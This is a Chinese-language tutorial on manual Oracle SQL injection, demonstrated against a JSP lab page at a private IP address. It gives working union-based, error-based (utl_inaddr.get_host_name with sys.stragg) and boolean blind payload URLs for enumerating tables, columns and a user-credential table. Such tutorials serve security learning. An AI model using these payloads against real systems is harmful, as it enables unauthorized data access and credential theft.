◆ 是一個虛擬的表,用來構成select的語法規則,oracle保證dual裡面永遠只有一條記錄。
◆ 該表的table_name列存放著當前資料庫的所有表。
◆ 該表的column_name 存放著表的所有列。
• 如select * from xxx (有一個萬能的表:dual表)。
• rownum 是偽序列數,總是從1開始。
• oracle資料庫從資料檔案或緩衝區中讀取資料的順序。
• 它取得第一條記錄則rownum值為1,第二條為2,依次類推。
length(char) :返回字串的長度。
COUNT(*) 函數,返回在給定的選擇中被選的行數。
ascii(char) 表示將字元轉換為ASCII碼。
SUBSTR( 源字串, 查詢起始位置, [ 長度 ] )返回值為源字串中指定起始位置和長度的字串。
INSTR(源字串, 要查詢的字串, 從第幾個字元開始, 要找到第幾個匹配的序號)返回找到的位置,如果找不到則返 回0. 預設查詢順序為從左到右。當起始位置為負數的時候,從右邊開始查詢。若起始位置為0,返回值為0。
還有一些函數在後續的文章用到時解釋。
環境為VMware上的以win2003為系統 jsp+Oracle的簡易網頁。
這一步在我的實驗環境中表現的很明顯,但是在真實環境中,還是需要找到合適的注入點,基本的步驟就是找到與資料庫互動的輸入框,然後判斷這個輸入框的資料型別,以及它的資料的閉合方式,然後新增一些判斷語句檢視是否存在注入。
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' or 1=2 --
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=2 --
在手動新增了一條資料過後,通過構造不同的payload,我們發現url是存在注入漏洞的,我們輸入的payload達到了它的效果。
Oracle資料庫同樣是通過order by 進行查詢資料表的列數判斷,order by必須是select -list表示式的列數,在真實環境中的一個表的列數可能數目較多,因此在列數判斷中我們最好使用二分法。
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' order by 3 --
在order by 3時頁面正常,但是在order by 4 時頁面出現錯誤,因此該查詢表的列數為3
跟之前的學習的MySQL以及SQL server一樣,Oracle同樣通過union 來實現聯合查詢注入,並且不用跟SQL server聯合查詢注入一樣新增all,僅只用union就行,但是依舊要跟SQL server聯合查詢注入一樣判斷後續各列的資料型別。
接下里我們首先檢視回顯位
http://10.1.5.34:8080/SqlInjection/selcet? union select null,null,null from dual --
因為在Oracle資料庫中的select查詢語句必須跟上查詢列表,所以在union後面的select查詢語句我們必須跟上from dual ,dual表是Oracle資料庫中自帶的虛擬表,可當萬能用。
我們看到三個列全部會回顯在頁面上
下面我們還要通過更改null判斷各個回顯位的資料型別
http://10.1.5.34:8080/SqlInjection/selcet? union select '1',null,null from dual --
判斷出1號位的資料型別位字元型,接下來我們就可以通過構造不同的payload替換'1',來查詢到我們想要的資料
select user from dual 獲取使用者名稱
http://10.1.5.34:8080/SqlInjection/selcet? union select user,null,null from dual --
select banner from sys.v_$version where rownum=1 獲取版本
http://10.1.5.34:8080/SqlInjection/selcet? union select banner,null,null from sys.v_$version where rownum=1 --
藉助聯合查詢和預設表 user_tables獲取當前資料庫所有表名(第一行的)。
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1--
檢視下一行表名
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select table_name,null,null from user_tables where rownum=1 and table_name<>'T_USER'--
沒有其他的表,只有T_USER
如果可以顯示多行資料,則可以通過以下程式碼檢視到T-USER所有的列名,不能就只能通過跟上面類似的方法 用「<>」新增附加條件,去除已經檢視到的資料然後檢視下一行資料
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' union select column_name,null,null from user_tab_columns where table_name='T_USER'--
獲取T_USER表中欄位為SNAME、SUSER、SPWD,然後獲得他們的值
因為之前判斷過1,2,3號位都回顯,且都為字元型,所以下面一次性查詢,如果只有一個也可以一個一個的查詢
10.1.5.34:8080/SqlInjection/selcet?sname=1' union select SNAME,SUSER,SPWD from T_USER--
獲取資料
因為靶場比較簡陋,所以實驗過程只是體現自己的注入思路,並不代表T_USER表中的東西就是後臺賬號之內的敏感資料,真實環境中,你查詢的資料可以是任何你能查詢到資料。
當你發現你找到的注入點在輸入錯誤資料會反彈資料庫原始報錯資訊時,我們就可以使用報錯注入。然後前面的步驟基本一致,都是先找注入點,然後分析閉合方式。
Oracle報錯注入——型別轉換錯誤和報錯函數。
payload:1=utl_inaddr.get_host_name((SQL語句))
查詢結果: ORA-29257: 未知的主機 結果
10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select table_name from user_tables where rownum=1)) --
T_USER即我們想要查詢的表名,如果不止一個也可以通過上面聯合查詢注入中提到的方法,在sql語句中新增附加'<>'條件遍歷表名。
跟聯合查詢用到的相同的語句查到接下來的列名,資料
下面我們可以用到一個函數來改變之前遍歷每個資料的麻煩:sys.stragg()在單行中獲取所有行資訊。
10.1.5.34:8080/SqlInjection/selcet?sname=1' and 1=utl_inaddr.get_host_name((select sys.stragg('~'||SUSER||'~') from T_USER))--
||是Oracle中的字元拼接符號,在以上payload使用的時候需要將其更改為%7C%7C,即它的url編碼。
我們通過拼接其他符號以及sys,stragg()函數使我們能夠清晰的分辨資料表中這個欄位每一行的資料,在之前的聯合查詢注入同樣可以使用到這個函數,省去遍歷的麻煩
使用條件:HTTP返回包中沒有執行結果的資料和報錯資訊。
當你發出你構造的payload時,頁面並沒有產生變化,即說明你的payload正確。
跟上面兩種注入一樣尋找注入點。
Oracle盲注核心——字串擷取函數、ascii轉換函數、條件判斷語句。
要注意的是在截斷函數中長度是包含開始擷取位置那一位的。
步驟跟之前的順序是一致的 拿表名-列名-資料,這裡就不一一列舉了,主要說重點。
我們在拿一個資料時,比如說表名,我們需要先判斷他的長度
10.1.5.34:8080/SqlInjection/selcet?suser=&sname=1' and (select length(table_name) from user_tables where rownum=1)=6--
我們可以先將=改為>或者<然後通過二分法逐步的縮小範圍,最終確定表名一共有6位。
http://10.1.5.34:8080/SqlInjection/selcet?sname=1' and (select ascii(substr(table_name,1,1)) from user_tables where rownum=1)=84--
然後就用擷取函數 先擷取表名的第一個字元,然後轉譯為ascii碼,同樣可以通過>或者<逐漸縮小範圍最終確定表名第一個字元ascii碼為84 即為T,以此類推獲得完整表名
如果會使用burpsuit的話,可以通過burpsuit暴力破解,設定擷取位置以及等於號後面的數位來跑出表名。
所有資料均可使用同樣的方法獲取
以上就是手把手教你完全掌握Oracle注入的小細節的詳細內容,更多請關注TW511.COM其它相關文章!